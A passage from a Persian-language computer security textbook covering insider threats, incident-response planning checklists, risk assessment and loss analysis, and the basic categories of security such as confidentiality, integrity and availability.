موفقیت‌آمیز، ممکن است باعث تخریبهای جدی شوند.

کارمندان و مشاوران می‌توانند بطور عمدی و یا سهوی تهدیدات جدی برای سیستم ایجاد کنند و این بستگی به ماهیت روابط آنها با مدیران و همکارانشان در محیط کار دارد. این افراد به علت سطح دسترسی‌شان در داخل سازمان، از لحاظ امنیتی یک نگرانی جدی محسوب می‌شوند.

در دستهٔ نفوذگران تفننی، برخی از کارکنان به علت خستگی از کار یا جذابیتهای رقابت فنی به سیستم نفوذ می‌کنند. گروهی دیگر بدنبال اطلاعات مربوط به ترفیع و دستمزد همکاران یا داده‌های سازمانی هستند. بعضی دیگر ممکن است برای انجام اقدامات تلافی جویانه علیه سازمان به این عمل دست بزنند؛ یا باعث تهدیدات ناخواسته‌ای شوند که علت آن عدم حفاظت صحیح از سیستم به علت آموزش فنی ناقص یا بی‌دقتی کارکنان باشد.

هریک از این تهدیدات بالقوهٔ انسانی برای سیستمها و اطلاعات امنیتی سطح متفاوتی از مخاطره را به همراه دارند و برای جلوگیری از وقوع آنها به روشهای متفاوتی نیاز است. دیواره‌های آتشِ به‌روز و سیستمهای مهاجم‌یاب ممکن است برای جلوگیری از نفوذگران تفننی یا "script kiddie"ها کفایت کنند. اما در مورد تبهکاران هدفدار، این راهبران هوشیار سیستم و مدیران هستند که باید آنها را شناسایی و متوقف سازند؛ و در این راستا استفاده از سیاستهای کارکنان و توجه مدیریت به خنثی‌سازی حملات احتمالی درون‌سازمانی مفید خواهد بود. اما هیچ طرحی بدون نقص نیست و بسیار اهمیت دارد که سازمان، سابقه و روند این طرحها را با توجه به نفوذهای امنیتی مستمراً بررسی کند. نظارت مستمر بر دورنمای امنیتی، کشف و جلوگیری از نفوذ را ساده‌تر می‌نماید. علاوه بر این، اتخاذ سیاستهای شفاف دربارهٔ آنچه که باید حین و بعد از وقوع حمله انجام شود به کاهش آسیب کمک می‌کند، افراد مسئول را برای رسیدگی به خرابی راهنمایی می‌نماید و امکان ثبت مناسب گزارشات لازم برای مقامات داخل و خارج سازمان را فراهم می‌سازد.

تخمین عملی امنیت: برآورد مخاطره و تحلیل زیان

همانگونه که مشاهده کردیم تخلفات امنیتی ریشه در حملات داخلی و خارجی دارند و به دسترسی غیرمجاز به سیستمها و داده‌ها برای اهداف غیرقانونی و غیراخلاقی منتهی می‌شوند. گامهای ابتدایی ایجاد سیاست امنیتی زمانی برداشته می‌شود که سازمان، یک تخمین امنیتی در مورد فرآیندهای داخلی، اهداف، و آسیب‌پذیریهای موجود داشته باشد. هنگامیکه این

61 *Intrusion Detection Systems (IDSs)*

عناصر تجزیه و تحلیل شدند، یک سیاست امنیتی و نیز طرحی برای روالها می‌تواند توسعه یابد.

این طرح باید حاوی اطلاعاتی دربارهٔ حوزه‌های کلیدی ذیل باشد:

- دانستن زمانی که مورد حمله واقع می‌شوید – از طریق بکارگیری سیستمهای کشف تهاجم و هوشیاری داخلی.
- فراهم ساختن سناریوی بدترین حالت ممکن – تفکر دربارهٔ تأثیرات مضاعفی که نقض امنیت می‌تواند برایتان بدنبال داشته باشد.
- تدوین یک سیاست مکتوب برای ثبت وقایع امنیتی (موسوم به *طرح نفوذ*[۶۲]) – این سند کتبی به تحلیل وقایع منفرد و جلوگیری از حملات موفق در آینده کمک می‌کند.
- استخدام یک متخصص درصورت نیاز – بر مبنای رخدادها یا بر مبنای موافقتنامهٔ مشاورهٔ دوره‌ای. از استخدام نفوذگران خودخوانده (کسانیکه مدعی نفوذگری هستند) اجتناب کنید. مبحث تأمین امنیت از طریق منابع خارجی در ادامه این بخش مطرح می‌شود.[۶۳]
- فراهم نمودن آموزش لازم برای کارکنان فنی و سایر کارمندان – بسیاری از نقصهای امنیتی ناشی از کمبود اطلاعات کافی در مورد روالهای مقابله با مسائل امنیتی هستند. هریک از کارکنان در شرکت باید نحوهٔ پیاده‌سازی روالهای امنیتی را بداند.
- تعیین یک نقطهٔ تماس – این فرد باید در حوزهٔ فناوری اطلاعات متخصص باشد و وقایع مستقیماً به اعضای تیم مدیریت گزارش دهد.
- درک و اولویت‌بندی اهداف – که شامل همه یا برخی از موارد ذیل می‌شود:
  - حفاظت از اطلاعات مشتریان؛
  - پیشگیری از حمله؛
  - اعلام حمله به مدیریت ارشد؛
  - ثبت وقایع؛
  - تهیهٔ *تصاویر آنی*[۶۴] از سیستم؛
  - تماس با *تیم واکنش به رخدادهای امنیت رایانه‌ای*[۶۵]؛
  - شناسایی مهاجم؛
  - شناسایی افراد مسئول در هر مورد؛ و
  - شناسایی فردی که بتوان به وی اطمینان کرد.

اگر حادثه‌ای رخ دهد می‌توانید سیاستها و روالهای موجود را مجدداً آزمایش کنید و تا آنجا که بودجه و تدارکات به شما اجازه می‌دهند آنها را تقویت نمایید. در ارزیابی سازمان، مجموعه‌ای از سؤالات وجود دارند که می‌توانند به شما در تعریف نقاط ضعف و قوت طرح امنیتی کمک کنند. یک فهرست نمونه که بر توانایی واکنش مؤثر در مقابل تهاجم تمرکز دارد را در ادامه می‌بینید:

روالهای مواجهه با رخداد، طرحهای ترمیم و سرمایهٔ مورد نیاز:

- آیا روالهایی برای پاسخگویی به رخداد وجود دارند؟
- آیا روالها قابل فهم و به روز هستند؟
- آیا طرحهای لازم برای ترمیم آثار بلایای طبیعی تهیه شده‌اند؟
- آیا سرمایهٔ کافی برای بروز واکنشهای مناسب در مقابل رخداد تخصیص داده شده است؟

روالهای متخصصان امنیتی و مدیریت:

- آیا روالها شامل دستورالعملهایی برای تماس با متخصص امنیتی در تمام طول شبانه‌روز و هر هفت روز هفته هستند؟
- اگر متخصص امنیت در دسترس نباشد، آیا راهی برای مطلع کردن مدیریت از مشکل وجود دارد؟

62 *Break-In Plan*

۶۳ *این توصیه بیشتر در سازمانهای متوسط و بزرگ عملی است و همچنین برای شرکتهایی که برای انجام فعالیتهایشان وابستگی زیادی به فناوری دارند و بازار هدفشان بازار فنی پیشرفته است. در مورد دوم مشتریان بالقوه ممکن است بر اساس وجههٔ فنی شرکت و استحکام فعالیتهای آن نظراتی در مورد شرکت ابراز کنند که باعث جوسازی مثبت یا منفی شود.*

64 *Snapshots*

65 *Computer Security Incident Response Team*

- آیا روشی برای مطلع کردن مدیر ارشد اطلاعات (درصورت وجود) از وقوع حوادث احتمالی تعریف شده است؟
- آیا روالی برای تعیین زمان تماس با افراد خارجی برای درخواست کمک و فردی که باید این تماس را برقرار کند وجود دارد؟

روالهای کارکنان:

- آیا همهٔ کارکنان کلیدی برای بکار بستن روالها آموزش دیده‌اند؟
- آیا کارکنان کلیدی واقعاً در همهٔ جلسات آموزشی حضور پیدا می‌کنند؟
- آیا دلیل انتخاب کارکنان کلیدی، سوابق درخشان آنها بوده است؟
- آیا ارتباطات راهبران سیستم و گروههای امنیتی روان است؟

روالهای منابع فنی:

- آیا دستوراتی برای آغاز کردن یا پایان دادن به برنامه‌های سیستم وجود دارد؟
- آیا دستورات آغاز یا پایان طرح بصورت دوره‌ای بررسی می‌شوند؟
- آیا ابزارهای مورد نیاز برای کشف تهاجم روی سیستم نصب و فعال شده‌اند؟
- آیا *نرم‌افزار شناسایی*[۶۶] که روی شبکه نصب شده می‌تواند حملات ناشناخته را شناسایی کند؟
- آیا می‌توانید با استفاده از ساختار لایه‌بندی‌شده حملاتی که به شبکه می‌شوند را کشف و از وقوع آنها جلوگیری کنید؟
- آیا روی شبکه می‌توان حملات را بسادگی تعقیب کرد؟
- آیا بر اساس ممیزیِ رسمیِ امنیت، کلیهٔ سیستمها دارای کنترل امنیتی کافی هستند؟

مراحل برآورد مخاطره

اولین گام برای ارتقای امنیت سیستم شما پاسخگویی به این سئوالات اساسی است:

۱. سعی در حفظ چه چیزی دارم و این مسئله چقدر برای من ارزش دارد؟
۲. در مقابل چه چیزهایی نیاز به حفاظت دارم؟
۳. حاضرم چقدر زمان، تلاش و سرمایه برای تأمین حفاظت مناسب اختصاص دهم؟

این سؤالات، اساسِ فرآیندی به نام *ارزیابی مخاطره*[۶۷] را شکل می‌دهند. ارزیابی مخاطره بخش بسیار مهمی از فرآیند امنیت رایانه است. اگر شما ندانید که برای چه و در مقابل چه چیزی حفاظت را اعمال می‌کنید، نخواهید توانست گامهای آنرا تدوین نمایید. وقتی خطرات را شناختید، می‌توانید سیاستها و فنونی که برای اجرای طرحهای کاهش مخاطره نیاز دارید را طراحی کنید. بعنوان مثال اگر خطر قطع برق وجود دارد و این امر برای شما مهم است، باید این خطر را با استفاده از *UPS*[۶۸] کاهش دهید.

ارزیابی مخاطره شامل سه مرحلهٔ کلیدی است:

۱. شناسایی دارائیها و ارزش آنها
۲. شناسایی تهدیدات
۳. محاسبهٔ مخاطرات

روشهای بسیاری برای انجام این فرآیند وجود دارد. یک روش که تاکنون بسیار موفق بوده، ایجاد مجموعه‌ای از کارگاههای آموزشیِ درون‌سازمانی است. در این روش شما باید از کاربران آگاه بخشهای مختلف، مدیران میانی و مدیران اجرایی سازمان خود دعوت بعمل آورید؛ و طی جلساتی فهرستی از دارائیها و تهدیدات را تهیه نمایید. این فرآیند نه‌تنها به شما کمک می‌کند که فهرست کاملتری تهیه کنید، بلکه آگاهی حضار از مسائل امنیتی را نیز بالاتر می‌برد.

یک رویکرد آماری بسیار پیچیده‌تر از آن است که بخواهد برای حفاظت از رایانهٔ خانگی یا یک شرکت بسیار کوچک مورد استفاده قرار گیرد. به همین ترتیب روالهایی که در اینجا مطرح می‌شوند برای حفاظت از شرکتهای بزرگ، سازمانهای

66 *Detection Software*

67 *Risk Assessment*
68 *Uninterruptible Power Supply*

دولتی، و دانشگاههای مهم کافی نیستند. در چنین مواردی، بسیاری از سازمانها از مؤسسات مشاوره‌ای که متخصص ارزیابی مخاطره هستند استفاده می‌کنند، و برخی دیگر نرم-افزارهای تخصصیِ ارزیابی را بکار می‌برند.

شناسایی دارائیها

فهرستی از اقلامی که به حفاظت نیاز دارند تهیه کنید. این فهرست باید بر اساس *طرح کسب و کار*[۶۹] و دانش عرفی شما تنظیم شود. این فرآیند نیازمند آگاهی از قوانین کاربردی، درک کامل تسهیلات، و علم به گسترهٔ پوشش بیمهٔ شما است. اقلام تحت حفاظت می‌توانند ملموس (مثل دیسک‌گردانها، صفحات نمایش، کابلهای شبکه، تجهیزات پشتیبان‌گیری، و کتابچه‌های راهنما) و یا غیرملموس (مثل دسترسی به رایانه، رمز عبور اصلی، توانایی ادامهٔ پردازش، فهرست مشتریان، وجههٔ عمومی، و اعتبار در صنعت) باشند. این فهرست باید هر چیزی که برای شما ارزشمند است را در بر بگیرد. برای تشخیص ارزشمند بودن هر مورد، درنظر بگیرید که درصورت تخریب یا فقدان آن، چه هزینه‌های زمانی و پولی برای تعمیر یا جایگزینی آن به شما تحمیل می‌شود. برخی از مواردیکه بطور حتم باید در فهرست ارزیابی شما قرار بگیرند عبارتند از:

موارد ملموس:

- رایانه‌ها؛
- داده‌های اختصاصی؛
- نسخه‌های پشتیبان و بایگانی؛
- دستورالعملها، راهنماها و کتابها؛
- نسخه‌های چاپی؛
- وسایل توزیع نرم‌افزارهای تجاری؛
- وسایل ارتباطی و کابل‌کشی‌ها؛
- سوابق کارکنان؛ و
- اسناد حسابرسی‌شده.

موارد غیرملموس:

- امنیت و سلامت کارکنان؛
- حریم خصوصی کاربران؛
- رمزهای عبور کارکنان؛
- وجههٔ عمومی و اعتبار سازمان؛
- حسن نیت مشتریان؛
- در دسترس بودنّ پردازش؛ و
- اطلاعات مربوط به پیکربندی.

شما باید بجای توجه صرف به جنبه‌های رایانه‌ای، نگرشی وسیعتر به اقلام فوق و سایر موارد مربوطه داشته باشید. اگر شما نگران این موضوع هستید که کسی بتواند گزارشات مالی شما را مطالعه کند، شیوهٔ دسترسی آن فرد به این اطلاعات (چه از طریق نسخه‌های کاغذی چه از طریق پست الکترونیکی و چه از طریق دسترسی مستقیم به نسخه‌های پشتیبان) از اهمیت خاصی برخوردار نیست و کلیهٔ راهها برای انجام چنین کاری باید مسدود شده باشند.

شناسایی تهدیدات

مرحلهٔ بعدی تعیین فهرستی از تهدیدات موجود برای دارایی شما می‌باشد. برخی از تهدیدات محیطی هستند و شامل آتش‌سوزی، زلزله، انفجار و سیل می‌شوند. این فهرستها باید شامل موارد بسیار نادر اما ممکن هم باشند؛ مثل بروز نقص کلی در ساختمان یا پیداشدن مواد آتشزا در دیوارهای اتاق رایانه که ممکن است شما را برای مدتی نه‌چندان کوتاه وادار به تخلیهٔ اتاق نماید. سایر تهدیدات از کارکنان و افراد خارج سازمان نشأت می‌گیرند. در اینجا مثالهایی برای این دسته از تهدیدات ذکر شده‌اند:

- بیماری افراد کلیدی؛
- بیماری همزمان بسیاری از کارکنان (نظیر بیماریهای مسری مثل آنفولانزا)؛
- از دست دادن پرسنل کلیدی (مرگ، بازنشستگی، پایان یافتن دورهٔ کاری)؛
- از دست دادن خدمات تلفن یا شبکه؛
- قطع خدمات شهری (تلفن، برق، آب) برای مدتی کوتاه؛
- قطع خدمات شهری برای مدت طولانی؛
- صاعقه؛
- سیل؛
- سرقت دیسکها یا نوارها؛
- سرقت رایانهٔ کیفی یک فرد کلیدی؛
- سرقت رایانهٔ خانگی یک فرد کلیدی؛
- ورود یک ویروس به سیستمها؛
- ورشکستگی فروشندگان یا شرکتهای ارائه‌دهندهٔ خدمات کلیدی طرف قرارداد با شما؛

69 *Business Plan*

- اشکالات سخت‌افزاری؛
- اشکالات نرم‌افزاری؛
- خرابکاری کارمندان؛
- خرابکاری پرسنل شخص ثالث (مثلاً کارمند بخش پشتیبانی فروشندگان)؛
- اغتشاش کارکنان؛
- مهاجمینی که بصورت تصادفی به ماشینهای شما دسترسی پیدا می‌کنند؛
- کاربرانی که روی اینترنت اطلاعات سازمانی تحریک‌کننده یا انحصاری می‌فرستند؛ و
- جاسوسهای سازمانیافتهٔ تجاری.

محاسبهٔ مخاطرات

ارزیابی مخاطرات نباید تنها یکبار انجام شود و پس از آن فراموش گردد، بلکه باید همواره و بصورت دوره‌ای – حداقل یکبار در سال یا هر زمان که تغییرات عمده‌ای در کارکنان، سیستمها یا محیط عملیاتی صورت می‌پذیرد – آنرا انجام دهید.[۷۰] علاوه بر این هنگامیکه تغییر جدی در ساختار یا عملیات رخ می‌دهد مجدداً باید تهدیدات را مورد ارزیابی قرار داد. لذا اگر شما سازماندهی مجدد می‌کنید، به ساختمان جدید می‌روید، فروشندگان طرف قرارداد خود را تغییر می‌دهید و یا تغییر جدی دیگری را ایجاد می‌نمایید، باید مجدداً تهدیدات و آسیبهای بالقوه را ارزیابی نمایید.

تحلیل زیان

تعیین هزینهٔ خسارتها ممکن است بسیار سخت باشد. یک شیوهٔ سادهٔ محاسبه این است که تنها هزینهٔ تعمیر یا تعویض تجهیزات و محصولات را محاسبه کنیم. یک شیوهٔ پیچیده‌ترِ احتساب هزینه‌های عدم ارائه خدمات، آموزش مجدد، روالهای اضافه‌شدهٔ ناشی از آسیب، از دست رفتن اعتبار شرکت، و حتی خسارتهای واردشده به مشتریان شرکت است. بطور کلی افزودن عوامل جانبی به محاسبهٔ هزینه باعث زحمت بیشتری می‌شود ولی دقت تخمین را بالا می‌برد. در اکثر موارد نیازی به تعیین دقیق ارزش و هزینهٔ هر مخاطره نیست و در حالت عادی اختصاص یک بازه یا محدودهٔ هزینه برای هر تهدید کفایت می‌کند. برخی از اقلام آسیب‌دیده را می‌توان در دستهٔ اقلام غیرقابل تعمیر و جایگزینی یا جبران‌ناپذیر قرار داد؛ مثل پاک شدن کامل پایگاه دادهٔ حسابها، یا مرگ یک کارمند کلیدی. شاید بخواهید هزینهٔ این خسارتها را با مقیاسها ظریفتری مورد بررسی قرار دهید؛ مثلاً برای هریک از موارد ذیل هزینهٔ جداگانه‌ای درنظر بگیرید:

- در دسترس نبودن در کوتاه‌مدت (کمتر از ۷ تا ۱۰ روز)؛
- در دسترس نبودن در میان‌مدت (۱ الی ۲ هفته)؛
- در دسترس نبودن در درازمدت (بیش از ۲ هفته)؛
- زیان یا تخریب دائمی؛
- زیان یا تخریب تصادفی؛
- زیان یا تخریب تعمدی؛
- افشای غیرمجاز اطلاعات درون سازمان؛
- افشای غیرمجاز اطلاعات به منابع خارجی؛
- افشای غیرمجاز و کامل اطلاعات برای همهٔ منابع خارج از سازمان، رقبا و مطبوعات؛ و
- هزینهٔ جایگزینی یا ترمیم.

احتمال زیان

پس از اینکه تهدیدات را شناسایی کردید باید احتمال رخداد هر اتفاق را تخمین بزنید. تخمین سالانهٔ این تهدیدات از ساده‌ترین روشها است. تعیین کمیت یک مخاطره کار بسیار دشواری است. شما می‌توانید از طریق شرکتهای دیگر (مثل شرکت بیمه) این برآوردها را بدست آورید. اگر واقعه برای چند بار متوالی رخ داده باشد، بر اساس سوابق نیز می‌توان آنرا تخمین زد. سازمانهای صنعتی معمولاً آمارهایی جمع‌آوری و گزارشاتی منتشر می‌کنند. شما نیز می‌توانید حدسیات خود را بر اساس تجربیات گذشته به واقعیت نزدیکتر کنید. بعنوان مثال:

---

۷۰ *تغییرات در کارکنان می‌تواند استخدام و بازنشستگی تعداد زیادی از افراد باشد، یا بازنشستگی یکی از کسانیکه در طرح امنیت سازمان فعالیت داشته است. تغییرات در سیستمها می‌تواند نصب چند سیستم جدید باشد. اگر ۱۰۰ رایانه دارید و با رعایت اصول ایمنی ۱ رایانه به سیستم اضافه می‌کنید، ارزیابی مجدد مخاطرات ضروری نیست، اما اگر مثلاً ۱۰ رایانه دارید و ۱۰ رایانهٔ دیگر اضافه می‌کنید، این توسعه ممکن است یک جنبهٔ کاملاً جدید در سازمان شما بوجود بیاورد. تغییرات دیگر سیستمها می‌توانند شامل راه‌اندازی شبکه‌های جدید داخلی و خارجی، ارتقای سیستمها، یا ایجاد تغییرات در بستر عملیات رایانه‌ای باشند. تغییرات در سازمان نیز معمولاً عبارتند از رشد سریع، برقراری ارتباط با فروشندگان یا مشتریان خارجی، و نیز شرکتهای بازاریابی که ممکن است شما را در بازارهای محلی و جهانی بیشتر جا بیاندازند.*

- شرکت برق بر اساس تجربهٔ سال گذشتهٔ خود برآوردی از احتمال قطع برق در خلال سال آینده دارد. مقامات مسئول نیز می‌توانند مخاطرهٔ قطع برق برای چند ثانیه، چند دقیقه، و یا چند ساعت محاسبه نمایند.
- سوابق پرسنلی می‌تواند در تخمین احتمال استعفای یک کارمند کلیدی بخش رایانه به شما کمک کند.
- خوشبینانه‌ترین حدسیات در مورد تکرار تجربیات گذشته می‌توانند برای تخمین احتمال کشف اشکالات جدی در نرم‌افزارهای شما در خلال سال آینده مورد استفاده قرار گیرند.

اگر انتظار دارید حادثه‌ای بیش از یکبار در سال رخ دهد، تعداد دفعات وقوع آنرا در طول یکسال ثبت کنید. مثلاً اگر وقوع زلزله را در هر ۱۰۰ سال یکبار پیش‌بینی کنید، طبق آنچه گفته شد در فهرست شما می‌شود ۱٪؛ اگر اما انتظار داشته باشید طی ماه آینده سه اشکال جدی در سرویس‌دهندهٔ Microsoft IIS کشف شود، خواهد شد ۳۶۰۰٪.

هزینهٔ پیشگیری

سرانجام باید هزینهٔ پیشگیری از وقوع هر نوع مخاطره را محاسبه کنید. بعنوان مثال هزینهٔ قطعِ برقِ لحظه‌ای احتمالاً عبارت خواهد بود از هزینهٔ زمان بیکاری پرسنل و راه‌اندازی مجدد رایانه‌ها؛ اما هزینهٔ پیشگیری از آن برابر هزینهٔ خرید و نصب یک سیستم UPS می‌باشد.

هزینه‌ها باید در طول عمر مورد انتظار، با استفاده از رویکردی مناسب مستهلک شوند. بدست آوردن این هزینه‌ها می‌تواند هزینه‌ها و اعتبارات دیگری را مشخص کند که آنها نیز باید مد نظر قرار گیرند. مثلاً نصب یک سیستم اطفاء حریقِ بهتر می‌تواند حق بیمهٔ آتش‌سوزی را کاهش دهد و به علت استهلاک سرمایه برای شما مزیت مالیاتی ایجاد کند؛ اما صرف پول برای سیستم اطفاء حریق به این معناست که آن پول دیگر برای سایر اهداف نظیر آموزش کارکنان یا حتی سرمایه‌گذاری در دسترس نیست.

جمعبندی نتایج

در بخش نتیجه‌گیری باید یک جدول چند ستونی از دارائیها، مخاطرات و زیانهای احتمالی طراحی کنید. برای هر زیان باید احتمال، خسارت پیش‌بینی‌شده و مقدار پول مورد نیاز برای پیشگیری از وقوع آنرا بدانید. اگر خیلی دقیق هستید می‌توانید احتمال نامناسب بودن تمهیدات دفاعی را نیز محاسبه کنید. اکنون فرآیند تصمیم‌گیری در مورد بکار گرفتن یا نگرفتن هر مکانیزم دفاعی کاملاً روشن است. کافیست شما ضرر مورد انتظار هر مخاطره را در احتمال وقوع آن ضرب کنید تا برای هر تهدید یک کمیت بدست آید. این ارقام را به ترتیب نزولی مرتب نمایید و کمیت متناظر هر تهدید را با هزینهٔ پیشگیری آن مقایسه نمایید.

نتیجهٔ این مقایسه فهرستی است اولویت‌بندی شده از آنچه که باید انجام شود. این فهرست ممکن است در ابتدا کمی تعجب‌آور باشد. توجه کنید که هدف شما باید جلوگیری از زیانهای پرهزینه و محتمل و توجه کمتر به موارد نادر و کم‌هزینه باشد. در بسیاری از محیطها احتمال وقوع مواردی نظیر آتش‌سوزی و از دست دادن پرسنل کلیدی بسیار بیش از مورد نفوذ قرار گرفتن شبکه می‌باشد؛ اما با کمال تعجب این نفوذهای شبکه‌ای هستند که توجه مدیران و درنتیجه قسمت عمده‌ای از بودجه را به خود جلب می‌کنند. این عملکرد از لحاظ هزینه اثربخش نیست و بالاترین سطح اطمینان را برای کل سیستم فراهم نمی‌کند. برای تجسم اقداماتی که باید انجام دهید، آنچه برای پیشگیری و ترمیم هر رخداد جمع‌آوری کرده‌اید را بر مبنای اولویت، طبقه‌بندی نمایید. برای انجام اینکار هزینهٔ ترمیم را به میانگین زیان مورد انتظار اضافه کنید و آنرا در احتمال وقوع رخداد ضرب نمایید. آنگاه نتایج حاصله را با هزینهٔ سالانهٔ پیشگیری مقایسه کنید. اگر هزینه‌ها کمتر از هزینهٔ مورد انتظار مخاطره است توصیه می‌شود که درصورت وجود منابع مالی کافی استراتژی پیشگیری را در پیش بگیرید؛ اما اگر هزینهٔ پیشگیری بیش از هزینهٔ آسیبها و ترمیمِ بعد از وقوع رخداد است، تا پیش از وقوع حادثه هیچ اقدامی نکنید.

فصل چهارم
برنامه‌ریزی برای نیازهای امنیتی

کلیات

این فصل به سیاستها و روالهای مربوط به پیشگیری و دفاع مؤثر در مقابل تهدیداتی که در فصل قبل در مورد آنها بحث شد می‌پردازد و جزئیات فرآیند برنامه‌ریزی را شرح می‌دهد.

سیاستگذاری و راه‌حلهای فنی برای تأمین موفقیت‌آمیز امنیت

اساساً امنیت رایانه‌ای مجموعه‌ای از راه‌حلهای فنی برای مشکلات غیرفنی است. زمان، پول و تلاش زیادی را می‌توان برای ایمن کردن رایانه صرف کرد، اما هرگز نمی‌توان از نگرانی در مورد پاک‌شدن تصادفی داده‌ها یا تخریب عمدی اطلاعات راحت شد. با درنظر گرفتن مجموعهٔ شرایط – اشکالات نرم‌افزاری، حوادث، اشتباهات، بداقبالی، آب و هوای بد یا یک مهاجم مجهز و با انگیزه – مشاهده می‌شود که هر رایانه ممکن است مورد سوء استفاده قرار بگیرد، از فعالیت بیافتد، یا حتی کاملاً منهدم شود.

وظیفهٔ متخصصین امنیتی کمک به سازمان در تصمیم‌گیری در مورد زمان و هزینه‌ای است که می‌خواهد برای مسئله امنیت اختصاص دهد. بخش دیگر اینکار حصول اطمینان از وجود سیاستها، خط‌مشی‌ها و روالهای مناسب در سازمان است تا بودجهٔ امنیتی بصورت صحیح هزینه شود. در نهایت افراد حرفه‌ای باید سیستم را بررسی کنند تا از پیاده‌سازی صحیح کنترلهای مناسب در راستای برآورده‌شدن اهداف اطمینان یابند. بنابراین امنیت عملی بیش از اینکه مسئله‌ای فنی باشد، مسئله‌ای مدیریتی است. درنتیجه امنیت باید یکی از اولویتهای مدیریت سازمان باشد. حتی در مؤسسات بسیار کوچک که بودجهٔ قابل توجهی برای امنیت صرف نمی‌شود، مدیریت باید مسائل اصلی امنیتی را درک کند و اصول اولیهٔ امنیت را برای حفاظت از دارائیها به اجرا درآورد.

برنامه‌ریزی امنیتی را می‌توان به پنج مرحلهٔ مجزا تقسیم کرد:

۱. برنامه‌ریزی برای تعیین نیازهای امنیتی
۲. ارزیابی مخاطره و انتخاب بهترین شیوه‌ها
۳. ایجاد سیاستهایی برای انعکاس نیازها
۴. پیاده‌سازی امنیت
۵. بررسی و واکنش به وقایع

دو اصل اساسی وجود دارند که در برنامه‌ریزی اثربخش سیاست و امنیت تأثیر ضمنی می‌گذارند:

در سازمانها آگاهی از امنیت و سیاست امنیتی باید از بالا به پائین گسترش یابد. نگرانیها و آگاهی کاربران از مسائل امنیتی حائز اهمیت است؛ اما آنها نمی‌توانند در گسترهٔ سازمان یک فرهنگ مؤثر امنیتی ایجاد و آنرا حفظ نمایند. در عوض این مدیران سازمان هستند که باید به امنیت بعنوان موضوعی مهم بنگرند و ضوابط و مقررات آنرا نظیر سایر افراد بپذیرند و اجرا نمایند.

امنیت مؤثر رایانه به معنای حفاظت از اطلاعات می‌باشد. اگرچه حفاظت از منابع دیگر هم مهم است اما ضررهای ناشی از تخریب سایر منابع بسیار راحت‌تر از ضررهای وارده به اطلاعات قابل تشخیص و جبران هستند. کلیهٔ طرحها، سیاستها و روالها باید منعکس‌کنندهٔ نیاز به حفاظت از اطلاعات در هر قالب ممکن باشند. اطلاعات انحصاری اگر به چاپ برسند یا به یک دفتر فکس شوند ارزش خود را از دست نمی‌دهند. اطلاعات محرمانهٔ مشتریان نیز اگر بجای ارسال از طریق پست الکترونیکی، با استفاده از تلفن گزارش شدند همچنان از ارزش زیادی برخوردارند. خلاصه اینکه اطلاعات باید مورد محافظت قرار بگیرد، مستقل از اینکه در چه قالبی باشد.

انواع مختلف و تعاریف متفاوتی از امنیت رایانه‌ای وجود دارد. این کتاب بجای ارائه یک تعریف رسمی، توجه بیشتری به رویکرد عملی دارد و در مورد انواع حفاظتهایی که باید مورد ملاحظه قرار گیرند به بحث پرداخته است.

دسته‌بندی ملاحظات امنیتی

در این تعریف گسترده، گونه‌های مختلفی از امنیت وجود دارند که راهبران و کاربران باید به آنها توجه کنند:[۷۱]

محرمانگی[۷۲]

حفاظت از اطلاعات در مقابل خواندهشدن یا نسخه‌برداری توسط اشخاصی که از جانب مالک آن اطلاعات مجوز دسترسی به آنرا ندارند. این گونهٔ امنیت نه‌تنها حفاظت کلی از اطلاعات را در بر می‌گیرد، بلکه حفاظت از داده‌های منفرد که ممکن است به خودیِ خود آسیبی در پی نداشته باشند ولی از طریق تعدادی از آنها بتوان به اطلاعات محرمانه پی برد را نیز شامل می‌شود.

یکپارچگی و صحت (تمامیت)[۷۳]

محافظت از اطلاعات (منجمله برنامه‌ها) در مقابل هرگونه حذف و تغییر بدون اجازهٔ مالک آن اطلاعات. اطلاعاتی که باید مورد محافظت قرار گیرد شامل سوابق حسابداری، نسخه‌های پشتیبان، زمانهای ایجاد فایل و اسناد می‌شود.

در دسترس بودن[۷۴]

حفاظت از برنامه‌های خدماتی بگونه‌ای که بدون تصدیق اعتبار تنزل پیدا نکنند و تخریب نشوند. اگر هنگامیکه یک کاربرِ مجاز به اطلاعات نیاز دارد سیستم و داده‌ها در دسترس نباشند، نتیجه می‌تواند به اندازهٔ زمانی که اطلاعات از روی سیستم حذف شده‌اند ناخوشایند باشد.

ثبات و سازگاری (پایداری)[۷۵]

حصول اطمینان از اینکه سیستم بگونه‌ای که مورد انتظار کاربران است رفتار می‌کند. اگر نرم‌افزار یا سخت‌افزار ناگهان بگونه‌ای بسیار متفاوت از قبل عمل کند – خصوصاً بعد از یک ارتقا یا رفع اشکال – مشکلات زیادی ممکن است رخ دهد. تصور کنید اگر فرمان "ls" بطور تصادفی حذف شود هنگام فهرست‌گیری از فایلها چه اتفاقی می‌افتد! این گونهٔ امنیت را می‌توان اطمینان از صحت داده‌ها و نرم‌افزارهایی که مورد استفاده قرار دارند نامید.

کنترل

ضابطه‌مند کردن دسترسی به سیستم. اگر افراد (یا نرم‌افزارهای) ناشناخته و غیرمجاز در سیستم شما وجود داشته باشند می‌توانند دردسرهای زیادی بیافرینند و شما راجع به چگونگی ورود آنها، آنچه که ممکن است انجام داده باشند، و افراد دیگری که احتمالاً به سیستم شما دسترسی داشته‌اند احساس نگرانی می‌کنید. جبران چنین مشکلاتی می‌تواند بسیار وقتگیر و پرهزینه باشد. شاید مجبور شوید سیستم خود را از ابتدا نصب و راه‌اندازی کنید و تازه متوجه شوید که تغییر مهمی رخ نداده – حتی اگر واقعاً هیچ اتفاقی نیافتاده باشد.

بازبینی

به همان میزان که نگران دسترسی افراد غیرمجاز به سیستم هستید، باید به امکان وقوع اشتباهات یا انجام اعمال بدخواهانه توسط کاربران مجاز نیز توجه کنید. در چنین شرایطی باید آنچه که انجام شده، فرد انجام‌دهنده و تأثیرات آنرا مشخص نمایید. تنها راه مطمئن برای دستیابی به این نتایج، داشتن سوابق و ثبتهای تخریب‌نشدنی از فعالیتها در سیستم است که می‌تواند افراد و عملکرد آنها را شناسایی کند. در برخی از نرم‌افزارهای بسیار حساس، شیوهٔ بازبینی ممکن است آنقدر گسترده باشد که بتواند بعد از تنظیم وضعیت سیستم به یک حالت جدید، اجازهٔ بازگشت به وضعیت اولیه را نیز بدهد.

اگرچه کلیهٔ این وجوه امنیتی اهمیت دارند، اما سازمانهای مختلف به هریک با درجهٔ اهمیت متفاوتی می‌نگرند. این اختلاف بدلیل این است که هر سازمان ملاحظات امنیتی خاص خود را دارد و باید اولویتها و سیاستهای خود را بر حسب آن ملاحظات تعیین کند. بعنوان مثال:

محیط بانکداری

